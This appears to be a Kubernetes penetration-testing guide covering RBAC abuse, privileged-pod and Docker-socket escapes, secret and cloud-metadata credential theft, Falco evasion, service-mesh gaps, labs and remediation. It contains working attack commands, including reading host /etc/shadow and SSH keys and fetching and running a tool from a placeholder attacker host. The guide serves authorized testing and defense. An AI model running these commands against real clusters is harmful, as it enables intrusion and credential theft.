25 min read

Container Security

Kubernetes Security Testing

Container orchestration security assessment covering cluster misconfigurations, RBAC exploitation, pod escapes, and lateral movement in Kubernetes environments.

Authorization Required

Only test Kubernetes clusters you own or have explicit written authorization to test. Unauthorized access to cloud infrastructure is a federal crime.

Kubernetes Attack Flow

Reconnaissance

Container Detection

Container Environment Detection
# Check if running inside a container
cat /proc/1/cgroup
ls -la /.dockerenv

# Service account token location
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace

# Environment variables
env | grep -i kube

API Server Access

API Server Access from Pod
# Set up API access from inside pod
APISERVER=https://kubernetes.default.svc
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# Test API access
curl --cacert $CACERT --header "Authorization: Bearer $TOKEN" $APISERVER/api/

# List pods in current namespace
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
curl --cacert $CACERT --header "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces/$NAMESPACE/pods

External Enumeration

External Kubernetes Discovery
# Scan for exposed API servers
nmap -p 6443,8443,10250,10255 -sV target.com

# Common K8s ports:
# 6443  - API Server (secure)
# 10250 - Kubelet API (secure)
# 10255 - Kubelet read-only
# 2379  - etcd

# Test unauthenticated kubelet API
curl -k https://target.com:10250/pods/

RBAC Exploitation

Permission Enumeration

RBAC Permission Enumeration
# Check current permissions
kubectl auth can-i --list

# Check specific permissions
kubectl auth can-i create pods
kubectl auth can-i get secrets
kubectl auth can-i create deployments

# List service accounts
kubectl get serviceaccounts --all-namespaces

# List roles and bindings
kubectl get roles --all-namespaces
kubectl get clusterroles

Dangerous RBAC Permissions

Permission Risk Exploitation Path
create pods High Spawn privileged pod
get secrets Critical Access credentials, tokens
exec pods High Command execution
create rolebindings Critical Privilege escalation

Pod Escape Techniques

Privileged Container Escape

Privileged Container Escape
# Check if running as privileged
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff = privileged

# Mount host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host

# Access host files
cat /mnt/host/etc/shadow
cat /mnt/host/root/.ssh/id_rsa

# Escape to host via nsenter
nsenter --target 1 --mount --uts --ipc --net --pid -- bash

Host PID Namespace Escape

Host PID Namespace Escape
# If hostPID: true is set
ps aux  # See host processes

# Inject into host process
cat /proc/1/root/etc/shadow

# Access host filesystem via /proc
ls -la /proc/1/root/

# Copy files from host
cp /proc/1/root/etc/passwd /tmp/passwd

Docker Socket Escape

Docker Socket Escape
# Check for mounted Docker socket
ls -la /var/run/docker.sock

# If present, spawn privileged container
docker run -it --privileged --pid=host --net=host -v /:/host alpine chroot /host

Credential Harvesting

Secret Extraction

Secret Extraction
# List all secrets
kubectl get secrets --all-namespaces

# Decode secret
kubectl get secret mysecret -o jsonpath='{.data.password}' | base64 -d

# Get all secrets in JSON
kubectl get secrets -o json

# Search for cloud credentials
kubectl get secrets --all-namespaces -o json | grep -i aws

Cloud Metadata Service

Cloud Metadata Access
# AWS IMDS (if not blocked)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Azure IMDS
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

# GCP Metadata
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/

Lateral Movement

Lateral Movement in K8s
# List all pods with IPs
kubectl get pods --all-namespaces -o wide

# Exec into another pod
kubectl exec -it target-pod -- /bin/bash

# Port forward to service
kubectl port-forward service/database 5432:5432

# Access internal services
curl http://internal-service.namespace.svc.cluster.local

Common Misconfigurations

Anonymous API Access

# Test anonymous access
curl -k https://API_SERVER:6443/api/
# Should return 403, not 200

Exposed Kubelet

# Anonymous kubelet
curl -k https://NODE:10250/pods/

Exposed etcd

# Unauthenticated etcd
etcdctl --endpoints=http://ETCD:2379 get / --prefix --keys-only

Default Namespace Usage

# All workloads in default namespace
kubectl get all -n default

Tools

kube-hunter

Hunt for security weaknesses in K8s clusters.

pip install kube-hunter
kube-hunter --remote CLUSTER_IP

kubeaudit

Audit K8s clusters for security concerns.

brew install kubeaudit
kubeaudit all

peirates

K8s penetration testing tool.

go install github.com/inguardians/peirates@latest

kubeletctl

Interact with kubelet API.

go install github.com/cyberark/kubeletctl@latest
Additional K8s Security Tools
# Trivy - Container vulnerability scanner
trivy image nginx:latest
trivy k8s --report=summary

# rbac-tool - RBAC visualization
kubectl rbac-tool viz --outformat dot

# kubectl-who-can
kubectl who-can create pods
kubectl who-can get secrets

Runtime Detection and Response

Everything above this point assumes you are getting in. This section answers the reverse question: once a workload is already running, what in the cluster is watching what it executes, and what is an alert from that sensor actually evidence of? It assumes you know what a DaemonSet, a service account and a container runtime already do. The sensor described here is Falco, the one most clusters deploy; the enforcement alternative at the end is Tetragon.

What the sensor is, and what that means for a test

A runtime sensor is a DaemonSet: one pod per node, in its own namespace, outside every workload it watches. Falco is two halves — a probe loaded into the node's kernel that produces syscall events, and a userspace engine that evaluates rules over those events and writes an alert to stdout as text or JSON. In most installs a forwarder (Falco Sidekick) ships that JSON on to a SIEM or a chat channel.

Three things follow, and all three are worth establishing before you try anything:

  • Nothing of the sensor lives in your pod's namespaces, so a compromised container cannot see or kill it without escaping the pod or reaching the node. Silencing detection is an escape problem, not a process problem.
  • It is visible through the API anyway. kubectl get ds -A | grep -i falco and then the rules it loaded is two commands, and it tells you what you are up against.
  • Every alert is one matched event, not a session. The rule text is therefore the complete specification of what the sensor can see, so reading the rules installed in the cluster beats reading the upstream defaults — installs pin older rulesets, disable the noisy ones, and add exceptions.

Silence Is Not Absence

A DaemonSet pod reporting Running proves the process started, not that the probe attached. A probe that failed to load, a pinned rules file and an output that never left the node all look identical from the alert channel: nothing. Read the DaemonSet's logs for driver-load errors and the loaded rule count before writing "no runtime detection observed" in a report.

The driver question: modern eBPF by default

Falco's current documentation lists two supported drivers and marks the modern eBPF probe as the default. It is embedded in the Falco binary and built on CO-RE, so there is no kernel-specific module to build or download; it needs a kernel that exposes BTF and the BPF ring buffer, nominally 5.8 and later, with backports possible on older distributions. The setting is engine.kind: modern_ebpf selects the probe and kmod the module.

The kernel module is the fallback for kernels without those features, and the documentation is explicit that it "requires full privileges and cannot run with Linux capabilities". The modern probe instead has a documented minimum set of CAP_SYS_BPF, CAP_SYS_PERFMON, CAP_SYS_RESOURCE and CAP_SYS_PTRACE, with CAP_SYS_ADMIN standing in for the first two on older kernels. The older eBPF probe that plenty of write-ups describe as "the eBPF driver" is no longer in the supported list at all, so a config that still names it dates the install.

Why a tester cares: the driver decides what the probe can see and what the node has to grant it. On a node where the modern probe cannot attach, the sensor degrades to a fully privileged kernel module on every node — which makes it a target on the node boundary as much as a defence of one. Read which driver loaded from the DaemonSet's arguments or from falco.yaml, and do not assume "Falco is running" means the same thing on two clusters.

Anatomy of one shipped rule

The rule below is the shipped Terminal shell in container rule, abridged only in its output fields. It is the one most likely to catch an interactive foothold, so it is worth reading clause by clause — every clause is a statement about what the sensor will and will not notice.

falco-rules.yaml
- rule: Terminal shell in container
  desc: A shell was used as the entrypoint/exec point into a container with an attached terminal.
  condition: >
    spawned_process and container
    and shell_procs and proc.tty != 0
    and container_entrypoint
    and not user_expected_terminal_shell_in_container_conditions
  output: >
    A shell was spawned in a container with an attached terminal
    (user=%user.name process=%proc.name parent=%proc.pname
    command=%proc.cmdline terminal=%proc.tty)
  priority: NOTICE
  tags: [maturity_stable, container, shell, mitre_execution, T1059]
  • spawned_process is a macro for evt.type in (execve, execveat). This is the only event class the rule can ever fire on: no file read, no connection and no memory write produces it.
  • container is container.id != host, so host-level activity is out of scope here and needs a separate rule.
  • shell_procs is proc.name in (shell_binaries) — a list of names, which is where the rule's blindness begins.
  • proc.tty != 0 means the process has a controlling terminal: the difference between an interactive shell and one spawned by a script or a web request.
  • container_entrypoint expands to "no parent, or the parent is runc, containerd-shim, conmon and friends". The rule as shipped is narrower than its name: it is anchored on a shell that is the container's own entrypoint process, not on every shell that ever runs. Falco's description adds that under kubectl exec the parent may legitimately have exited and be null, which is what the null-parent branch of that macro allows for.
  • user_expected_terminal_shell_in_container_conditions is a macro set to never_true. That clause is the documented tuning hook: local exceptions belong in the macro rather than in the condition, which is why a heavily tuned cluster's rule text still looks identical to upstream.
  • priority: NOTICE — Falco's own guidance puts unexpected behaviour at NOTICE, reads of sensitive state at WARNING and writes to state at ERROR. A NOTICE is a queue item, not a statement about impact.

What the alert is evidence of, and what it is not

  • It is one specific execve or execveat on node N at time T, in container C, where the binary name was in the shell list, a terminal was attached, and the parent looked like a runtime shim. The output template adds the user, the command line and, with the Kubernetes metadata enrichment, the pod and the image.
  • It is not who did it. A syscall carries no caller identity. The identity behind a kubectl exec lives in the API server's audit log, which is why Falco's own description of this rule tells you to correlate with k8saudit exec records. That is a second event source, not part of this alert.
  • It is not what happened next. Each event is evaluated separately, and this alert contains no file write and no connection. It says a shell started, and nothing about the twenty commands that followed.
  • It is not a response. Falco alerts; it does not block. Nothing in that path refuses the exec.

Operators run kubectl exec all day, which is exactly why the rule ships at NOTICE and why Falco's own text calls it a good auditing rule to read alongside other alerts from the same container rather than a standalone finding. In a report the finding is the missing correlation — an exec in the audit log with no alert behind it, or an alert nobody triaged — not the shell itself.

Where name-based rules lose

Every rule above keys off a process or file event, so the evasion surface is whatever avoids spawning a watched binary name or touching a watched path. The three shapes below are the same ones that show up against host EDR, and they work here for the same reason: the rule matched on a name, not on the behaviour.

falco-evasion.sh
# A shell with no terminal: os.system spawns /bin/sh, but proc.tty is 0
python3 -c "import os; os.system('id')"

# No shell at all: the interpreter execs the target directly
perl -e 'exec "id"'

# The binary name changes, the syscall does not
tac /etc/passwd | tac          # instead of cat
echo *                         # instead of ls

# Stage a static binary instead of running a package manager
curl -o /tmp/tool http://ATTACKER/tool
chmod +x /tmp/tool && /tmp/tool

Note what each one actually defeats. The first still creates a shell, so the exec is visible and a rule keyed on the parent process still fires — but the terminal clause is false, so this particular rule stays quiet. The second never creates a shell, so shell_procs has nothing to match, while a rule that allowlists which binaries a namespace may execute still sees id run. The third changes the binary, not the syscall. The invariant the sensor enforces is execve; the durable rule shape is "which images, in which namespace, may spawn which binaries", and a write-up that lists shell names to avoid is describing a bypass of one rule, not of the sensor.

One more target sits behind the sensor rather than in front of it: the rules and the daemon configuration are Kubernetes objects in the same cluster you are assessing, and the DaemonSet is what attaches the probe. Whoever can patch either one controls the alert stream, so kubectl auth can-i update configmaps -n FALCO_NAMESPACE and the equivalent for the DaemonSet belong in the same sweep as the RBAC enumeration above. That finding is worth more than an unpatched image, because it silently converts every other runtime finding into "not observed".

Tetragon: enforcement instead of alerting

Tetragon uses the same event source — eBPF on the node — but a different contract. Its policy object is a TracingPolicy custom resource: you name a hook (a kprobe, a tracepoint, a uprobe or an LSM hook), then selectors that are evaluated in the kernel, then an action. The selectors cover ground a single Falco condition struggles to express in one object — binary path, parent binary, host or namespace PID, namespace inodes including host_ns, capability set, namespace changes, capability changes.

The actions are where it stops being a detector. Documented actions include Sigkill, Signal, Override (replace the return value of the hooked function) and Post / NoPost for telemetry. Sigkill "terminates synchronously the process that made the call ... from the kernel", so enforcement does not wait for a userspace decision; the event still reaches the agent for logging unless NoPost is set.

tetragon-protect-passwd.yaml
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: protect-passwd
spec:
  kprobes:
  - call: "sys_write"
    syscall: true
    args:
    - index: 0
      type: "fd"
    - index: 1
      type: "char_buf"
      sizeArgIndex: 3
    - index: 2
      type: "size_t"
    selectors:
    - matchPIDs:
      - operator: NotIn
        followForks: true
        isNamespacePID: true
        values:
        - 0
        - 1
      matchArgs:
      - index: 0
        operator: "Prefix"
        values:
        - "/etc/passwd"
      matchActions:
      - action: Sigkill

The policy above kills any process in a container namespace other than PID 0 or 1 that tries to write /etc/passwd. The PID exclusion is the same distinction Falco approaches from the other side: a process created by kubectl exec is not a child of PID 1, so "not PID 1" is a usable stand-in for "not the container's own entrypoint". What it changes is the outcome: the write is refused and the process dies, instead of an alert arriving somewhere. What it does not change is the part people over-credit — a killed process is not an un-compromised one. Anything it did before the hooked call still happened, and a Sigkill on the wrong selector takes out production just as reliably as it takes out an attacker.

So read the policies, not the product name. A cluster running Tetragon has exactly the enforcement its team wrote and reviewed; a cluster running Falco has its ruleset, which is at least a shipped catalogue you can compare against upstream. Either way the coverage boundary is the rules file itself, and neither sensor sees inside TLS, sees what a process did in memory, or tells you who authorised the action.

Runtime detection is the last stage of a chain that starts much earlier. How the image got into the cluster is the registry and supply-chain path; the runtime underneath the node is Docker security; and turning a rule's assumption into a bypass is the same exercise as EDR bypass on a Windows host.

Service Mesh Attack Surface

The question here is not whether the cluster runs Istio, but which of the mesh's promises applies to the request you are about to send. A mesh is bought for two things — mutual TLS between workloads and authorization for pod-to-pod traffic — and both are enforced somewhere specific, by something specific, and only for the pods that are actually in the mesh. This is the offensive view, and it assumes you can already run a pod in a namespace; the cloud pentesting overview covers the paths that get you one.

Two data planes, two different targets

Sidecar mode gives every workload pod an Envoy container. The istiod control plane distributes configuration and certificates, and an init step installs iptables rules in the pod's network namespace that redirect outbound traffic to port 15001 and inbound traffic to Envoy's virtual inbound listener on port 15006. mTLS terminates in that sidecar, and both L4 and L7 authorization are evaluated there. The Envoy admin interface on port 15000 is bound to loopback inside the same network namespace.

Ambient mode, generally available since Istio 1.24, has no per-pod proxy and no istio-proxy container. The istio-cni node agent programs the redirection rules, a per-node ztunnel DaemonSet carries the L3 and L4 path — mTLS, authentication, L4 authorization, telemetry — and anything above L4 needs a waypoint proxy, which is a deployment of Envoy that runs outside the application pods, per namespace or per service. ztunnel does not parse HTTP or terminate workload HTTP traffic, so an L7 rule with no waypoint to evaluate it is a rule that does nothing.

Which mode you are in changes the test rather than the tooling. Under sidecars the pod is simultaneously your foothold and the enforcement point: one shell gets you the app's port and the proxy's admin API. Under ambient there is no per-pod proxy to find, the L4 enforcement you would be abusing sits in a node-level DaemonSet, and the L7 policy may not exist at all. This is also why an empty result from the sidecar checks below is not a finding — it is a mode.

Establishing the mode and what is enforced

mesh-enum.sh
# Control plane, and which data plane the nodes run
kubectl get pods -n istio-system        # istiod; ztunnel + istio-cni-node mean ambient
kubectl get ds -n istio-system          # a ztunnel DaemonSet exists only in ambient mode

# Intent versus fact: the namespace label is intent, the container list is fact
kubectl get ns -L istio-injection
kubectl get pod POD -n APP -o jsonpath='{.spec.containers[*].name}'

# Sidecar-only: Envoy admin is bound to loopback inside the pod
kubectl exec deploy/client -n APP -- curl -s localhost:15000/server_info
kubectl exec deploy/client -n APP -- curl -s localhost:15000/clusters

# What is actually enforced, and over which workloads
kubectl get authorizationpolicies -A
kubectl get peerauthentications -A -o yaml | grep -i mode
kubectl get gateways -A                # waypoints, ambient only

Keep the two policy kinds separate, because they answer different questions. PeerAuthentication decides whether plaintext is accepted — PERMISSIVE accepts both, STRICT refuses non-mTLS — and says nothing about who may call what. AuthorizationPolicy decides that, and Istio's model is allow-by-default until a policy selects the workload: once an ALLOW policy selects it, a request has to match one of its rules or it is denied. The useful question during a test is therefore not "is mTLS on" but "which policy selects this workload, and does my request match a rule in it".

What is not a bypass

You will read that connecting to a pod's IP and application port directly skips the proxy. In sidecar mode it does not. The iptables rules live in the pod's own network namespace, so a request to POD_IP:APP_PORT is redirected to the inbound listener on 15006 before it ever reaches the application socket, and the authorization chain runs. The service name is no different: traffic to service.namespace.svc.cluster.local is captured the same way. Under PERMISSIVE the request may arrive without a client certificate, but "no identity" is a property the policy evaluates, not a way past it: a rule requiring source.principals will deny that request, and a rule that does not will allow it. Address choice changes neither outcome.

In ambient mode the L4 redirect still applies — the CNI agent programs it and traffic goes to the node's ztunnel — but L7 authorization is evaluated by a waypoint. A namespace with no waypoint therefore has nothing to evaluate an HTTP-level rule, so a rule that holds under sidecars can be entirely absent in ambient. That is a configuration gap, not an address trick, and it is the first thing to confirm before reporting that a mesh enforces L7 policy.

The gaps that are real

Excluded ports. A workload annotated with traffic.sidecar.istio.io/excludeInboundPorts has that port left out of the inbound redirect, so traffic reaches the process directly and the mesh's policy is never consulted. Writing the annotation needs rights to change the pod template — deploy rights in the namespace — so the finding to report is that permission, plus the workload that already carries the annotation because someone needed a health check or a metrics scrape to work.

Pods outside the mesh. A namespace without istio-injection=enabled, a pod that opted out with sidecar.istio.io/inject: "false", or a hostNetwork: true pod gets no sidecar and no capture. Traffic between such a pod and a meshed workload carries no mesh identity, and whether that is exploitable depends on the destination: a STRICT PeerAuthentication refuses it at the transport layer, and an authorization policy that admits only authenticated principals refuses it after arrival.

Localhost trust inside the pod. An application that treats connections from 127.0.0.1 as trusted is wrong inside a meshed pod: loopback is shared with Envoy, so anything already in that network namespace — a second container, a compromised app process — can reach the admin API on 15000 and the application on its own port without passing the inbound listener's policy at all. In ambient mode there is no per-pod Envoy, so this specific path disappears and the equivalent question moves to the node.

mesh-capture-gap.sh
# The port exemption is a pod-template change; that permission is the finding
kubectl patch deployment myapp -n APP --type merge -p '{"spec":{"template":{"metadata":{"annotations":{"traffic.sidecar.istio.io/excludeInboundPorts":"8080"}}}}}'

# After the rollout, the new pod's inbound chain no longer covers 8080,
# so a request to the pod IP on that port reaches the process, not Envoy
kubectl get pods -n APP -l app=myapp -o wide
curl -s -o /dev/null -w "%{http_code}\n" http://POD_IP:8080/

Capture Is Per-Pod, Not Per-Namespace

Whether a port is captured is decided by iptables rules in that pod's network namespace — under ambient, by the rules the CNI agent installed there to point at the node's ztunnel. A namespace-level check (kubectl get ns -L istio-injection) tells you the intended state, not the effective one: pods created before injection was enabled keep running without a sidecar, and a label does not retroactively add one.

What to record

  • The mode, and the object that proves it — a ztunnel DaemonSet, or istio-proxy in the workload's container list.
  • The effective capture for the specific pod, not the namespace label, and any port exemption already present on the workload.
  • The policy object that allowed the request, quoted by name and exact selector, plus whether the connection was mTLS or plaintext and which PeerAuthentication mode produced that.
  • For ambient, whether a waypoint existed for that namespace — without one, an L7 rule is documentation rather than control.

The mesh's own configuration arrives through the same path as every other manifest, so who can merge a PeerAuthentication change is a GitOps question, and the host runtime underneath the pods — the other half of the escape techniques above — is covered separately.

Kubernetes Security Labs

Hands-on practice with Kubernetes attack techniques.

RBAC Exploitation & Secret Extraction Custom Lab medium
Deploy a Kubernetes cluster with intentionally weak RBAC (minikube or kind)From inside a pod, enumerate permissions with 'kubectl auth can-i --list'Discover and extract secrets from all namespacesExploit create-pods permission to spawn a privileged containerUse the privileged pod to access the host filesystem and steal kubeconfigRun kube-hunter from outside the cluster to compare findings
Container Escape & Host Compromise Custom Lab hard
Deploy a pod with 'privileged: true' security contextDetect privilege level using CapEff in /proc/self/statusEscape via host mount (mount /dev/sda1) and nsenter into PID 1From the host, access the kubelet credentials and API serverPivot to other pods and namespaces using stolen credentialsImplement Pod Security Standards (Restricted) and verify the escape is blocked
Exposed API Server & Kubelet Exploitation Custom Lab medium
Scan for exposed Kubernetes ports (6443, 10250, 10255, 2379)Test anonymous API access and unauthenticated kubelet endpointsUse kubeletctl to interact with the exposed kubelet APITest etcd direct access for secret extractionRun kubeaudit to generate a comprehensive security report

Evidence to Capture

A manifest is not a running object. Kubernetes evidence has to come from the live cluster state and the admission chain that let it exist.

Cluster and namespace context: Cluster name or API server endpoint, the namespace, and the service account the pod ran as.

Authorization decision: The output of kubectl auth can-i --list for the identity used, plus the Role or ClusterRole and binding YAML that produced it.

Pod specification: The securityContext block as applied, including runAsUser, privileged, capabilities, allowPrivilegeEscalation and hostPath volumes, taken from the live object.

Service account token: The token path and the namespace file, with the token redacted and its audience and expiry recorded.

Escape command and node-side proof: The command plus the observation on the node that proves it, such as a node file read, a node process list or a kubelet response.

Admission and policy state: Namespace labels for Pod Security Admission, and the policy-engine result for the workload where OPA or Kyverno is in use.

Likely False Positives

Between Pod Security Admission, a policy engine and the managed control plane, most permissive-looking manifests never reach a running pod.

  • Pod Security Admission enforced: A namespace labelled restricted refuses the pod before it runs. The manifest is not the deployed state.
  • Policy engine denies or mutates: Kyverno or Gatekeeper can reject or rewrite at admission, so the running object differs from the YAML that was reviewed.
  • Kubelet anonymous auth disabled: An unauthenticated kubelet read returning 401 is a configured control, not a finding.
  • Permission without a schedulable target: The right to create a privileged pod is only exploitable where a node can schedule it and the admission chain permits it.
  • Secret object with no data: A Secret that exists empty, or one mounted read-only into a pod that never reads it, is not exposure.
  • Expired projected token: A token recovered from a terminated pod or a rotated projected volume no longer authenticates.
  • Managed control plane hardening: EKS, AKS and GKE run admission, audit and control-plane patching outside the client account. A finding that needs those to be broken is not a finding.

Testing Checklist

Cluster and API

  • ☐ API server endpoint and version recorded
  • ☐ Anonymous authentication state tested
  • ☐ Exposed kubelet, dashboard and etcd endpoints checked
  • ☐ Admission controllers and policy engines in place recorded

Identity and RBAC

  • ☐ Identity used for each finding named as service account, user or token
  • ☐ Role and binding YAML captured, not only the can-i result
  • ☐ Wildcard verbs and resources in ClusterRoles listed
  • ☐ Cluster-admin bindings enumerated
  • ☐ Default service account token automount state recorded

Workload

  • ☐ securityContext fields captured from the live object
  • ☐ hostPath, hostPID, hostNetwork and hostIPC recorded per workload
  • ☐ Privileged containers and added capabilities listed
  • ☐ Image digests and registry authentication recorded

Evidence

  • ☐ Escape proven from the node side, not only from inside the pod
  • ☐ Secret contents recorded as paths and hashes
  • ☐ Cloud metadata reachability from the pod tested
  • ☐ Timestamps and node names recorded for correlation with audit logs

Remediation & Defense

Admission and policy

  • • Label namespaces with Pod Security Admission restricted, or enforce the equivalent policy
  • • Reject privileged containers, hostPath mounts and host namespace sharing at admission
  • • Restrict creation of ClusterRoleBindings to a break-glass role

RBAC

  • • Remove wildcard verbs and resources from workload-facing roles
  • • Replace cluster-admin bindings held by service accounts with scoped roles
  • • Disable automountServiceAccountToken where the pod does not call the API

Workload hardening

  • • Set allowPrivilegeEscalation to false and drop all capabilities
  • • Run with a read-only root filesystem and a non-root runAsUser
  • • Use projected, audience-scoped service account tokens with a short expiry

Detection

  • • Enable audit logging with a policy that captures request bodies for the sensitive resources
  • • Alert on exec into production namespaces and on privileged pod creation
  • • Run kube-bench or kubeaudit on a schedule and track the diff